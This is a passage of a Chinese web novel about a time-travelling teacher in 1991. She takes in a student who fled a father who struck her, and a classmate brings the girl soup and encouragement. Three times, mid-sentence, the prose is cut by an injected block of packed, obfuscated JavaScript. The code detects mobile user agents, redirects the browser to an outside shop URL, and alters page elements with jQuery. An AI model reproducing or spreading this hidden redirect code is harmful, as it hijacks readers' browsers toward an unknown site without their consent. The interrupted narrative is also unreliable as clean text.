许晴说起她带的第一届学生已各奔东西、说起教书这些年的酸甜苦辣。徐嘉禾也说了自己对教育的困惑、对五班的期望。 “有时候我觉得自己做得还不够,”徐嘉禾苦恼道,“虽然班级有进步,但像谢昭这样的学生,我还没找到该怎么激发她的学习动力。” “激发学生内驱力应该是最困难的事情吧?”许晴给她添了饭,潇洒地摆手,“种子发芽还需要时间呢,你得等他们慢慢意识到自己是一颗没煮熟的种子呀。” 十二月底,一场前所未有的大雪,在夜晚悄然而至。 清晨徐嘉禾推开窗时,外面的世界已是银装素裹。锦宁一般无雪,今天天上细密的雪花却下了一夜还未歇,仍然在空中纷纷扬扬地飘着。 楼下的自行车棚顶铺了厚厚一层,院坝里几个早起的孩子们已经在兴奋地堆雪人、打雪仗了。 徐嘉禾呵出一口白气,暖了暖手,转身翻出衣柜里最厚实的棉袄。她小时候也遇到过一次锦宁下雪,只是雪量远远没有今天大,也堆不起雪人,今天的雪倒让她都觉得有些新奇起来。 午休的时候,徐嘉禾惯例往五班的教室去看了一眼,没有看到徐湛的身影。 她心下了然,徐湛一定又去机房写他的代码去了。 十二月底的机房,既没有什么人去,就连阳光也少得可怜,坐在里面可谓是冰冷直入骨髓。 徐嘉禾推开机房厚重的门进去,见徐湛坐在最靠窗的位置,面前屏幕上是密密麻麻的代码,他打字的速度比第一次时长进太多,盲打技术可谓是炉火纯青。 徐嘉禾没有出声打扰他,在门边的椅子上坐下,欣赏着徐湛认真工作的神情。 她一回头,就见谢昭今天也来了,正坐在一边,百无聊赖地玩另一台电脑上的打字游戏,敲得鼠标键盘啪啪直响。 “你怎么也来了?”徐嘉禾小声问。 谢昭头也不抬:“徐湛说今天要运行他的新程序,要我来当第一个用户帮他测试。什么程序啊,打开来就是个黑框框,等了半天啥也没有。” “那是还没写完,”徐湛的声音从屏幕后传来,带着点无奈,“你别着急啊,好了我会叫你的。” 谢昭“嘁”了一声,继续打她的字。 徐湛这段时间的状态可谓是再好不过了,自从知道还有信息技术竞赛这个东西,他就跟打了鸡血似的,一有时间就泡在机房里,周中抱着厚厚的书自学,周末跑去于晖的计算机兴趣班旁听。 班刊给于晖带来了不少流量,可以说现在来他这里学习计算机的孩子,有一半都或多或少受到了《萌芽》的启发,他自然也不会对徐湛这个大功臣多加苛责。 徐湛本来极度偏科,但或许是学习编程锻炼了他的逻辑思维能力,他的理科成绩都有了回温的趋势。 相比之下,谢昭的状态却让徐嘉禾有些担忧。 她确实不再逃课,作业也按时交,但徐嘉禾能感觉到,她的心思并不真的在学习上。 中途的几次小测验,谢昭的成绩不仅一直垫底,分数也没有上涨的趋势。徐嘉禾找她谈过,她总是点头,回复一些诸如“知道了”“我会努力”之类的套话,可眼神里却没有徐湛那种灼热的光。 那天放学后,谢昭帮徐湛测验了新程序,发现了不少问题。徐湛如饥似渴翻书,一心扑在修复他的bug上,没有一点要离开的架势。徐嘉禾和谢昭两人也等不及他了,悄悄掩上机房的门,一起往校门外走去。 下了一整天的雪已经停了,校园里也渐渐没有了什么行人,只有路灯接连在暮色中亮起昏黄的光。 “徐老师,”谢昭忽然开口,“你说,人为什么要读书?” 徐嘉禾转头看她。少女裹在厚厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158071|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的棉袄里,围巾遮住了半张脸,只露出一双黑葡萄似的、发亮的眼睛。 “不同的人有不同的答案,”徐嘉禾想了想,说,“比如,为了考大学,为了找工作……不过对我来说,读书最大的意义,是让人有选择的权利。” “选择的权利?”谢昭有些迷茫地看着她。 “对。”徐嘉禾和她并肩往校外走,两人的靴子踩在薄薄的积雪上,发出咯吱咯吱的声响,“你读的书越多,见过的世界越大,你能选的路就越多。” “你不用只局限在眼前的一亩三分地,而是可以主动去选择要成为什么样的人,过什么样的生活。” 谢昭沉默地走着,良久轻声说:“可我连自己想选什么都不知道。” “那更应该先读书,”徐嘉禾停下脚步,看着她的眼睛,“读书不会直接告诉你答案,但它会让你在找到答案的时候,有能力去实现它。” 谢昭怔怔地看着徐嘉禾。 “我知道了。”她最后说。 期末考试那天,雪后初晴,五班的学生们走进考场时,脸上大多都带着一种即将要去送死的凝重。 徐嘉禾站在走廊上,看着周文瑞把笔袋往桌上一拍,掏出一支铅笔,掏出一支钢笔,又掏出来一支备用笔,再掏出一支备用笔的备用笔…… 她终于没忍住:“你这是去考试还是去开小卖部?” “我这是去打仗,”周文瑞一脸悲壮,“学生的笔就是战士的枪,我多带几支,凑个双枪。” 两天考试转瞬即逝,最后一科结束的铃声响起时,整个教学楼爆发出解放般的欢呼。 徐嘉禾上交完试卷回到办公室时,许晴已经收拾好东西了。 “终于解放了,”许晴伸了个懒腰,“你寒假有什么打算?” “还没想好,可能就在锦宁待着吧。”其实不是没想好,徐嘉禾是除了乖乖在家呆着发霉,压根儿没别的地方可去。 “那正好,我今年也不回老家,”许晴眼睛一亮,“家里给我安排了相亲,我烦得很,说学校要补课就不回去了。要不,咱们一起过年?” 徐嘉禾笑着答应了下来。 待徐嘉禾收拾好东西离开学校时,校园里已经空了大半。她推着自行车慢慢走,忽然有些恍惚。 她来到1991年已经快三个月了,这三个月里,她经历了太多不可思议的事情。 有时候夜深人静,徐嘉禾会怀疑这一切是不是一场梦,醒来就会发现自己在医院的病床上当植物人。 或者更糟,在殡仪馆的冷柜里。 再糟下去,那她就已经成了一抔灰了。 年关将近,锦宁的街道比平日冷清许多,不少店铺提前关门,外地务工的人陆续返乡,准备过年。 徐嘉禾的小区里倒是热闹起来,孩子们放假了,在院子里追逐打闹,鞭炮声和欢笑声不绝于耳。她听着这些声音,倒也能体会到几分年味。 寒假第一天起,徐湛就几乎每天都往少年宫跑。至于徐嘉禾为什么知道,是因为她有一天无聊,溜达着往少年宫去过一趟。 于晖一见到徐嘉禾,就激动地拉着她诉苦,说徐湛每天七点半就在机房门口等他来开门,一直窝在机房,窝到晚上五点半回家。 “我寒假比我上班还得去得准时!”于晖口沫横飞,扯着徐嘉禾的袖子哭唧唧,“我不去,他就一直在机房外面那个冰冷的地上坐着等我,我又不忍心!” “那你跟他说少年宫寒假关门不就得了?”徐嘉禾没明白于晖在委屈什么,“徐湛又不是不讲道理的那种人。” “那怎么可以!”于晖眼睛瞪得溜圆,“孩子积极学习是好事情啊,你这样多打击人孩子的学习兴趣啊!” 唉,甜蜜的负担。 于晖起初还陪着徐湛怕他孤单,后来发现这孩子根本不需要人陪。给他一台机器、一本参考书,他能坐一整天不动,有问题也能攒下来,一次性找于晖问完。 徐湛的午饭一般是一碗剩饭配酱油和开水,于晖看不过去,拉他去吃顿正经的饭。他吃得飞快,一放下筷子就往机房走。 “你那个学生,”于晖看了眼废寝忘食扑在计算机参考书上的徐湛,冲徐嘉禾小声说,“我觉得,他以后保准能成事。” 徐嘉禾问:“哪方面的成事?你的计算机还是我的高考?” “不管哪方面,”于晖想了想,“这种人,只要找到自己想做的事,不会差的。你这个男学生是这样,其实你那个女学生,我看着也是在这样。” 徐嘉禾拍了拍于晖的肩,感慨:“你看人还挺准。” 谢昭自寒假开始就消失得无影无踪了,徐嘉禾闲得没事干在锦宁骑着自行车到处转悠,连吕晓杨和周文瑞都遇到了几次,就是一次也没见过谢昭。 要说徐嘉禾完全不担心她,那是不可能的。徐嘉禾还悄悄找过好几次游戏厅这种地方,却都没有见过谢昭的身影。 只是后来,许晴如约来找徐嘉禾了,两个年轻女人凑在一起,打扫屋子,置办年货,研究菜谱,小小的屋子里飘着饭菜香,笑语不断,颇有几分家的温暖。 不知不觉间,徐嘉禾也就把谢昭的事情抛在脑后了。 春节前三天的傍晚,徐嘉禾正在低头看书,准备待会儿饿了再随便做点什么饭吃,忽然听到了一阵细微的的敲门声。 她愣了一下,看了眼墙上的挂钟,这个时间,家家户户应该都在家里团聚着吃夜饭吧?谁会在这个时间点来找她? 徐嘉禾皱眉,起身走到门边,警惕地透过猫眼往外看。 楼道昏暗的灯光下,低垂着头站在她房门口的那个身影,不是谢昭又是谁? 24. 第 24 章 打开房门的一瞬间,冬日干燥的冷风往温暖的小房间里扑面而来,激得徐嘉禾不由自主地打了个冷颤。 门外的谢昭听见门开的声音,整个人抖了一下,却仍然低着头一动不动。徐嘉禾看不见她的脸,只能看见她垂落在额前的碎发和被冻得发红的耳廓。 “徐老师,”谢昭低低地开口,“你上次说,如果我没地方可去,可以来找你。” 徐嘉禾点了点头,没有多问,只是让开门口:“进来吧。” 谢昭抿着唇不说话了,她僵硬地跨过门槛,站在玄关一动也不动,只是低着头盯着地板砖的缝隙发呆。 徐嘉禾从鞋柜里拿出多的棉拖鞋放在她脚边,替她拍了拍落在肩上的雪:“自己换了鞋找地方坐吧,我去给你倒杯热水……” 她一边说着,一边回头往厨房走,表面毫不在意,实际在悄悄侧耳听身后的声音。 身后果然没有动静。 “徐老师,不用麻烦了,”谢昭的声音终于传来,有些干涩,“我就是……” 就是想来看看你,这半句话没说出来。 谢昭不想让自己显得很得寸进尺,毕竟大过年的,一个做学生的不好好在自己家里呆着,跑到自己班主任家里,让自己的老师忙前忙后地伺候自己,这话说出来她都觉得自己好笑。 但要是说出了这句话,谢昭现在看完徐嘉禾,也就应该离开了,可她又确实迷茫无助、无处可去。 徐嘉禾脚步顿了顿,没有理会谢昭未尽的话,径直走进厨房,倒了满满一大杯热水,又往里面加了块红糖。 她端着杯子回到客厅,谢昭还低着头在门口站着,像一尊沉默的雕像,拖鞋也放在一旁没有动过。 “过来坐,”徐嘉禾将红糖水在桌子的一侧放下,自己则在另一侧坐下,好整以暇地看着谢昭,“水冷了还要再热,更麻烦。” 谢昭终于抬头,她看着桌子上那杯热气腾腾的红糖水,眼神复杂。她嗫嚅着半天说不出话,但最后还是弯腰换上拖鞋,磨磨蹭蹭地挪到沙发前坐下,双手捧着杯子,一点一点抿红糖水。 “你自己坐一会儿,”徐嘉禾满意地看着谢昭被冻得发白的嘴唇终于有了些血色,站起身道,“我要出去买点东西,等我回来,听到没?” “你要去哪里?”谢昭有些慌乱地跟着站起身,“那……那我也走了吧……” “你不许乱跑,我要去买点米,家里的米不够两个人吃,”徐嘉禾按着谢昭的肩膀,把她按回沙发上,“要是我买了米回来发现你走了,那我不就白买了?” 谢昭还想说什么,徐嘉禾却一句话也没说,顺手帮谢昭把电视打开,摆了摆手向屋外走去。 谢昭张着嘴,看着重新关上的门,呆滞了片刻,最终还是乖乖坐回了沙发上。 徐嘉禾站在院子里,望着已经完全黑下去的天色,深吸了一口冬日的冷空气。 谢昭脸上的红肿,徐嘉禾一眼就看见了。 虽说小姑娘进门时一直低着头,用头发和高耸的领口遮遮掩掩,可她那点欲盖弥彰的小动作,又哪能瞒得过她徐嘉禾呢。 不过,既然谢昭不想说,那她也不会马上去问。 徐嘉禾没有往粮店的方向走,径直走向院子门口的公用电话亭,她投了币,拨通了一个从学生档案上记下的号码。 虽说1991年固定电话才刚开始进入千家万户,但谢昭家是为数不多花了3000多块初装费、安装了电话的家庭之一。 电话响了好几声才被接起,那头传来谢昭母亲疲惫的声音:“喂?哪位?” “谢昭妈妈,是我,徐嘉禾。” 电话那头静了一瞬,下一瞬传来谢昭母亲慌乱又惊喜的声音:“徐老师?昭昭是不是去你那儿了?真是太打扰你了,这孩子,大过年的到处乱跑,我和她爸真是要被急死……” “她在我家,现在很安全,”徐嘉禾耐心听她说完,语气平静地补充,“您不用担心。” “那就好,那就好,”谢母的声音明显松了口气,她沉默了一会儿,带着几分小心翼翼的试探问,“那,昭昭有说她什么时候回家吗? “她没有,”徐嘉禾握着话筒,抿唇,“谢昭几乎一句话都还没有和我说。” 她说完这句话之后,电话那边迟迟没有传来声音。 “谢昭妈妈,”徐嘉禾想了想,又说,“不如,今晚就让她在我这儿住一夜吧,明儿我送她回来。孩子现在正是委屈的时候,硬劝也没什么用。” 又是长久的沉默。 良久,久到徐嘉禾都要以为对面是不是已经挂电话了,电话那头才终于传来一声极轻的叹息。 “……那就麻烦你了,徐老师。” 虽说家里其实有足够多米,但为了圆先前的谎,徐嘉禾还是以最快的速度去拎了一袋米回家。 她打开门,见谢昭还坐在原来的位置一动没动,只是杯子里的红糖水见了底。她抱着杯子,眼睛直勾勾地盯着电视的方向,与其说她是在看电视,不如说是她在盯着电视发呆。 徐嘉禾开门的声音吓得谢昭一个激灵,猛地坐直了身子。她是徐嘉禾,这才放松下来,故作镇定:“回来了?” “回来了。”徐嘉禾也没废话,任由谢昭弹起来,把米替她搬进厨房。 她自己洗了个手,打开冰箱把剖好的鱼拿了出来。这条鱼她本来想留着,等新年当天许晴来找她玩的时候再煮了吃的,谁知这下要便宜谢昭了。 徐嘉禾这次准备做酸菜鱼,她想吃这一口很久了,提前备好了酸菜、泡椒和鲫鱼。 谢昭不知何时站在厨房门口,她看着徐嘉禾忙碌的背影,语气有些艰涩:“徐老师……不用这么麻烦的,我不是很饿。” “谁说做给你吃了?我饿了,要吃晚饭。”徐嘉禾扬眉,她回头看着谢昭笑道,“来都来了,也别过小姐生活,去把蒜给我剥了。” 谢昭愣愣地哦了一声,洗了手从徐嘉禾手里接过几头蒜,蹲在垃圾桶旁边剥。 “你来得真是时候,”徐嘉禾一边切着配菜,一边说,“这鱼本来是要做成酸菜鱼给你们许老师吃的,结果今天你来了,就把你们许老师的那份给吃了。” “酸菜鱼?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162488|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢昭重复了一遍,声音有些惊讶,“徐老师,你居然会做酸菜鱼?我都没有吃过。” “没吃过?”徐嘉禾难以置信地提高了音量,“这么家常的菜,你居然没吃过?不可能吧?” “真的没有吃过,”谢昭急急地辩解,“我知道这个菜,都是我爸之前跟着单位去农家乐,回来告诉我们锦宁的农家乐有这道菜……” 谢昭嘴比脑子快,顺口就提到了她爸爸。她话还没说完,就反应过来了,立刻又紧紧闭上了嘴。 “原来是这样吗?”看来酸菜鱼在1991年还没能像后来一样普及全国,徐嘉禾了然地点了点头,安慰道,“没关系,这次我做了给你吃,保证能比你爸爸吃到的酸菜鱼还要好吃。” 谢昭脸一热,含糊地嗯了一声就低下头拼命剥蒜。她动作太急,指甲缝里全是蒜汁,味道直往上涌,辣得谢昭好想流眼泪。 徐嘉禾也不逗她了,接过谢昭剥好的蒜就把她赶出了厨房。 没过一会儿,徐嘉禾端着煮好的酸菜鱼出来,嘭地一声放在桌上:“谢昭,去洗手盛饭了。” “徐老师,”谢昭把两个人的饭盛好,见徐嘉禾还在厨房忙前忙后地洗锅刷碗擦桌子,自己也不坐着吃饭,跟在徐嘉禾身后走来走去。她盯着徐嘉禾看了半天,忽然问,“你不问我吗?” “问你什么?”徐嘉禾本来就忙得晕头转向,这会儿身后又黏了个跟屁虫似的谢昭。她把洗好的锅放进橱柜,这才有空看了谢昭一眼。 “问我为什么要跑出来。”谢昭咬了咬嘴唇,像是终于下定决心了似的,说。 徐嘉禾关上橱柜门,转过身看着谢昭。厨房很小,两个人几乎是面对面,谢昭的呼吸都停了一瞬,掐着衣摆的手指有些发白。 “你想说吗?”徐嘉禾叹了口气,十六七岁的少年人怎么就这么别扭呢? 谢昭不说话,只是倔强地扬着下巴,眼睛却红了一圈。 她平时凌厉的气势,此刻全都软了下来,像一只在雨天淋湿透了、仍然强撑着不肯示弱的小狗。 “不想说就不说呗,我又不是在审犯人,”徐嘉禾将手在围裙上擦了擦,绕开谢昭往餐桌的方向走去,“再说了,问了你就要想,想了你就会难过,难过了就没有食欲了。好不容易吃顿好的,不得先好好享受一下吗?” 她说着,自顾自地在餐桌前坐下,夹了一块鱼肉放到碗里。 谢昭呆了片刻,乖乖坐下了。她拿起筷子,低头报复性地扒了一口饭,酸菜鱼的味道确实很好,酸辣开胃,鱼肉也做得很嫩,可她尝不出什么别的滋味,只觉得咸。 是眼泪的咸。 徐嘉禾看着谢昭,一时间感慨万千,其实,就算谢昭不说,看着她脸上那么明显的痕迹,徐嘉禾也能猜到在她身上发生了什么。 无非就是她爸妈和她聊成绩的事情,或许是因为谢昭的父亲还是那么以自我为中心、而不在乎妻女的感受,或许是本来就在进步的谢昭听不得自己一直被贬低,没忍住反驳了两句。 总之,谢昭的爸爸大概是又没控制住自己的脾气,出手打了她。 25. 第 25 章 两个人闷头吃饭,谢昭把碗里的米饭一粒一粒戳得稀碎,徐嘉禾煮的酸菜鱼她也没动几筷子。 徐嘉禾叹了口气,认命地夹了一块最嫩的鱼到谢昭碗里:“不吃饱,小心待会儿没力气哭。” 谢昭盯着那块鱼肉,眼泪终于掉了下来,一滴一滴落进米饭里。她抬手用力抹了一把脸,把那块鱼肉和着米饭扒进嘴里。 “没有要哭,”她含混不清地说,“我没什么食欲而已。” 徐嘉禾:“……?” 你在质疑酸菜鱼的下饭能力? “你这话我就不爱听了,”徐嘉禾忍了又忍,看着谢昭碗里几乎没怎么动过的饭菜,还是不死心地问,“我做得很难吃?” “不是,很好吃。”谢昭愣了愣,一边咕哝,眼泪一边扑簌簌往下掉。 要是在家里,她现在这个样子会被骂装模做样,而不是被认真地询问意见的吧。 她忍不住起身,说了句我去洗个脸,就逃也似的冲进了卫生间。 谢昭用冷水扑了扑脸,撑着洗面台,抬头看着镜子发呆。镜子里清晰地映出她的脸,左脸上的红印看起来已经淡了些,但明天肯定会青。 她不由自主地想起下午的事。 如果谢昭知道徐嘉禾在想什么,那估计她会说,你猜的一点也没错。 谢昭拿到自己期末考试成绩单的时候,心情其实挺好的。她无论是年级排名还是班级排名都有很大的进步,每一科都涨了十几分,甚至差一点就能上平均分了。 她以为父亲会高兴的。 晚饭时她假装毫不在意地把成绩单放在桌上,母亲果然看到了,脸上难得露出一点笑意:“昭昭这次进步真大。” 父亲没说话,只是拿过成绩单,从上到下看了一遍,然后他问:“总分多少?” 谢昭报了分数。 “班级平均分多少?” 谢昭沉默了一下,说了另一个数字。 “年级平均分呢?” 长久的沉默。 父亲把成绩单拍在桌上,冷笑:“进步这么点分数,结果离年级中游都还差这么多名,这算什么进步?” “昭昭确实在努力了,”母亲小心翼翼地打圆场,“你看她这学期每天都认真写作业……” “完成作业是她该做的,”父亲看都不看妻子,“你以为我不知道你在学校干什么?办报纸、做班长,威风得不得了,是吧?就是没把心思放在学习上。” 谢昭张了张嘴,她想反驳,又觉得没什么好说的,于是她把成绩单收起来,起身回了房间。 父亲在身后尖叫着什么,她没听清,她只是关上房门,一头栽倒在床上,望着房间顶上的灯发呆。 后来母亲来敲门,叫她吃晚饭。她说不想吃,于是又过了一会儿,门开了,进来的是父亲。 她也不记得父亲具体说了些什么,只记得那一巴掌。 和以前每一次一样,虽然来得突然,但父亲的理由总是相当充分,毕竟她的父亲是不会犯错的。 谢昭看着父亲表情扭曲的脸,她甚至都不知道他的愤怒从何而来、为什么是他感到愤怒而不是自己,她忽然觉得好累。 那间房子里的一切都让她喘不过气,所以最后她跑了。 徐嘉禾站在卫生间门外,听着里面的水声,轻轻叹了口气。她没有去敲门,只是转身回到餐桌前,把已经有些凉了的鱼重新热上。 等谢昭从卫生间出来,徐嘉禾看着她红红的眼睛,也没有多问。 她刚低头扒了一口饭,敲门声又响了。这回声音不算大,节奏却带着急切。 徐嘉禾有些疑惑地放下筷子,就见谢昭像被踩着尾巴的猫一般,整个人都僵住了。 “不会是……”谢昭艰难地开口,没能继续说下去。 “应该不是。”谢昭不知道,但徐嘉禾清楚,自己是给她爸妈打过电话的。 她按捺下心中的疑惑,按住谢昭的手腕,轻轻捏了一下以示安抚,自己起身去开门。 门外站着的居然是徐湛。 “徐湛?”徐嘉禾忍不住又回头看了看房间里的谢昭,今天这是个什么日子,怎么一个两个全都往她家里来了。 门外的徐湛可能是没想到徐嘉禾开门会开得这么快,反而被吓了一跳。 他退后一步,有些慌乱地开口:“徐老师,对不起这么晚来打扰,我是来找谢昭——” 他话音未落,就看到了从徐嘉禾身后探出头的谢昭。 两人隔着徐嘉禾对视,谢昭瞪大了眼睛,一副见了鬼的表情:“你怎么知道我在这儿?” “我刚刚去你家找你,想给你送东西。”徐湛的耳根红了,讷讷开口,“你妈说你跑了,我不太放心,就过来找找你。” 他没说的是,他从谢昭家出来时天已经黑透了。锦宁又是难得的雨雪天气,他就这样一路骑着车,走了将近一个半小时。 “那你为什么会觉得我在徐老师家?”谢昭盯着他看了半天,“纯靠猜的?” 徐湛似乎没想过这个问题,此刻被谢昭这么问,他愣了愣,垂下眼睛,声音也跟着低了下去:“我……” 谢昭眉头拧成一团:“白跑一趟怎么办?” “白跑就白跑,”徐湛抿唇,语气却执着,“万一你在呢。” 徐嘉禾迷茫地听着他俩的对话,忽然觉得自己像个五百瓦的大灯泡,她轻咳一声:“那个,徐湛,要不咱们先进来再聊吧,外面冷。” 徐湛犹豫了一下,还是进来了。他接过徐嘉禾递来的备用拖鞋换上,书包也在门边放好,把手里拎着的保温壶递过来。 “这是什么?”谢昭看着外边裹着红色包布的巨大保温壶,诡异地沉默了片刻。 “我妈煮的姜汤,”徐湛眼睛亮晶晶的,把保温壶递给她,“我出门的时候倒的烫的,现在应该还温着呢。” “所以,”徐嘉禾在旁边听着,难以置信,“你跑那么远,就是为了给谢昭送姜汤?” 年轻人精力都这么旺盛吗? 徐湛和谢昭对视一眼,两个人都安静了下来。 徐嘉禾摇了摇头,觉得自己可能已经老了。这种事情,只要想想她都开始累了:“算了,都别站着了,过来坐。徐湛吃晚饭没?” 徐湛摇头,又点头,最后在徐嘉禾锐利的目光下败下阵来,老实交代:“没吃。” “……”徐嘉禾无奈地叹了口气,转身往厨房走,“行,正好我们也还在吃晚饭,我去给你盛。” 吃过饭,谢昭和徐湛主动提出要收拾碗筷,徐嘉禾乐得清闲。她在沙发上坐下,看上去全神贯注地盯着电视看,实际却在不动声色地听两人在厨房里的对话。 “……于老师说,过完年我就可以继续去机房了。” “……你天天去,人家不要放假?” “他说没事。” “他就算觉得有事也不好说啊,” “去一个人也是去,去两个人也是去,你要不要也试试?于老师说也可以练练打字什么的,不需要基础。” “我?算了吧,我对那玩意儿没兴趣。” “那你想做什么?” 沉默。 徐嘉禾挑眉,借拆斥巨资购买的可乐的动静,小心翼翼地把电视机音量调小了点。 “我不知道,”良久,谢昭的声音传来,“但我可以边走边看,应该来得及的吧?” “有道理,”徐湛说,“我觉得来得及。” 晚上九点多,窗外又开始下起了雨夹雪。 “九点多了,”徐嘉禾看了眼墙上的挂钟,“徐湛,你怎么回去?” 徐湛站起身:“我骑自行车就好,很快的。” “这么晚骑车,会不会不安全?”谢昭脱口而出,随即又觉得自己管得太宽,别过脸去,“……我是说,路上会滑。” “我会小心的,”徐湛冲她笑了笑,把围巾重新缠好。他走到门口,忽然又回过头。“谢昭。” 谢昭一脸疑惑地看他。 “你很聪明,比你以为的聪明得多。”徐湛认真地说,“你只是还没找到想做的事。” “等你真正找到的那天,你会做得比谁都好。” 说罢,他推开门,走进了冬夜的寒风里。 谢昭站在原地,手里捧着那个已经空了的保温壶发呆。 夜里,徐嘉禾躺在床上,听着旁边谢昭翻来覆去的声音,自己也半天睡不着。 “徐老师,”纠结了半天,谢昭终于开口了,小声问,“你觉得我能考上大学吗?” 徐嘉禾翻了个身,看着谢昭。 谢昭洗漱完就将自己裹进了被子里,她的眼神里有迷茫,还有一丝她自己可能都没察觉的期待。 “能。”徐嘉禾斩钉截铁地说。 谢昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174002|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣了愣,她知道徐嘉禾多半会说好话,但没有想到她能够这么笃定。 “我不是想要安慰你,我是认真的,”徐嘉禾将女孩子面前的额发捋开,免得扫到眼睛。在她小时候和谢昭睡在同一张床上谈心时,谢昭就经常这样为她整理头发,“不过你不应该这么问,应该问自己想不想考上大学。” 谢昭没说话。 “你不想吗?” “我不知道,”谢昭终于开口,“我不知道我想做什么,也不知道我能做什么。” “徐湛想学计算机,吕晓杨想考美院,周文瑞说他要一直写小说……他们都知道自己想要什么,我不知道。我连读书是为了什么都不知道。” “徐老师,你说的对,读书能让我有选择的权利,”她声音有些抖,“可是我不知道自己想选什么。” 徐嘉禾看着她,心里软成了一片。 谢昭不知道自己想要什么,她只知道自己不想要什么,不想要被管、不想要被安排、不想要走别人给她画好的路。 可是不想要,终究不是想要。 “不知道想选什么,那就先别选。”徐嘉禾说,“你才十七岁,又不是七十岁,急什么?” 谢昭若有所思地点了点头。 “徐老师,”她忽然开口,“你在我这么大的时候,知道自己以后要干什么吗?” 徐嘉禾难得卡了壳。 她回忆起自己的十七岁,惊讶地发现,自己好像从来没有认真想过这个问题。 高考填志愿,她选了一个自己的分数能去的最好的学校。毕业了,爸妈说师范好,她也就顺理成章地听话去当老师,带了三届高三,送走一批又一批学生,她对这份工作说不上热爱,也谈不上讨厌。 徐嘉禾以为自己这辈子就这样了。 然后,她遇见了那个让她第一次意识到“原来有人可以这样活着”的人。 他当老师不是为了稳定、不是为了挣钱,他就是想要教书。把那些不懂的孩子教会,把对数学感兴趣、想要继续深造的孩子领进这个领域。 徐嘉禾在他上跨校公开课的时候去听过一节,惊讶地发现,他在上课的时候眼睛里是有光的。 徐嘉禾以前不懂那是什么光,毕竟她觉得自己上班的时候只有一种淡淡的死感。 后来她懂了。 那是她花了二十五年,还没来得及找到的东西。 “我啊,”徐嘉禾笑了笑,“我十七岁的时候也不知道自己想做什么,我连这个问题都没想过。” 谢昭疑惑:“那你最后为什么会当老师?” 徐嘉禾睁着眼睛看天花板。 这个问题她在过去三年里问过自己无数遍,答案换来换去,最后往往总结为“管他有的没的,来都来了凑合过吧,难不成还要辞职吗”。 “之前是因为这是一份合适的工作,”但此刻,徐嘉禾想了想,说,“现在是因为,有人跟我说,他觉得高中生最需要一个不一样的老师,我觉得他说的是对的。” 谢好奇地问:“他是你什么人?” “一个朋友,”徐嘉禾顿了顿,他们俩的关系,称得上是朋友吗,“一个很厉害的朋友。” “他还在当老师吗?” “应该还在吧,”徐嘉禾轻声道,“而且,他是个比我好得多的老师。” 谢昭没有再问。 过了很久,久到徐嘉禾以为谢昭已经睡着了,她自己上下眼皮都要开始打架了,少女忽然翻了个身,声音闷闷的:“徐老师。” “……嗯。” “我觉得你才是最好的老师。” 徐嘉勉勉强强地嗯了一声,没有说话。 自从到了1991年,她的作息已经被调整得相当规律,这个点她已经困得再没有多余的精力去思考,也说不出话了。 “徐老师,”又过了一会儿,谢昭又小声问,“你说今天徐湛怎么想到来你家找我的?万一我不在呢,他白跑一趟怎么办?” 徐嘉禾终于知道为什么自己小时候睡不着、缠着妈妈问东问西的时候,妈妈会对自己这么凶了。 原来是困得没工夫纠结语气了。 “那就白跑一趟呗,又不会怎么样。”她用自己最后一点清醒,说,“人生的容错率比你想象中的大多了。” “别说只是走错了一段路,就算你高考真的考砸了,你的人生也不会完蛋。” 26. 第 26 章 第二天早上,徐嘉禾是被一阵敲门声惊醒的。 她一度觉得自己在做梦,直到她迷迷糊糊地睁眼,发现谢昭还在身边蜷缩着睡得正香、敲门声却仍然响个不停。她这才勉强从床上爬起来,轻手轻脚地裹着棉服去开门。 门外站着许晴,她手里拎着一大袋东西,冻得脸红扑扑的还直跺脚,却仍然满脸笑容:“新年快乐,我又来找你玩了——” 她说完,似乎才反应过来徐嘉禾一脸萎靡,奇道:“这么晚了,你怎么还是一副没睡醒的样子?” “哈……新年快乐……”徐嘉禾打了个哈欠,侧身让许晴进来,“昨晚睡得有一点晚了……” 许晴疑惑地应了一声,她刚换好拖鞋,一抬头就看见了沙发上那件不属于徐嘉禾的外套,以及徐嘉禾虚掩着的卧室门。 “你家有人?”许晴一惊,压低了声音问,“我能进来吗?会不会打扰你们?” “想什么呢,是谢昭!谢昭在我家!”徐嘉禾瞪大了眼睛,忙不迭地解释昨晚发生的事情,“她昨晚来的,我准备下午送她回去。” 许晴哦了一声,没再多问。她把带来的东西放下,轻手轻脚地帮着收拾屋子、处理食材。 谢昭醒来的时候,闻见的是一股炖汤的浓郁的香味。 她揉着眼睛走出卧室,就见徐嘉禾和许晴正围在餐桌前坐着,有说有笑地择菜。她们见她出来,齐刷刷地回头看向她。 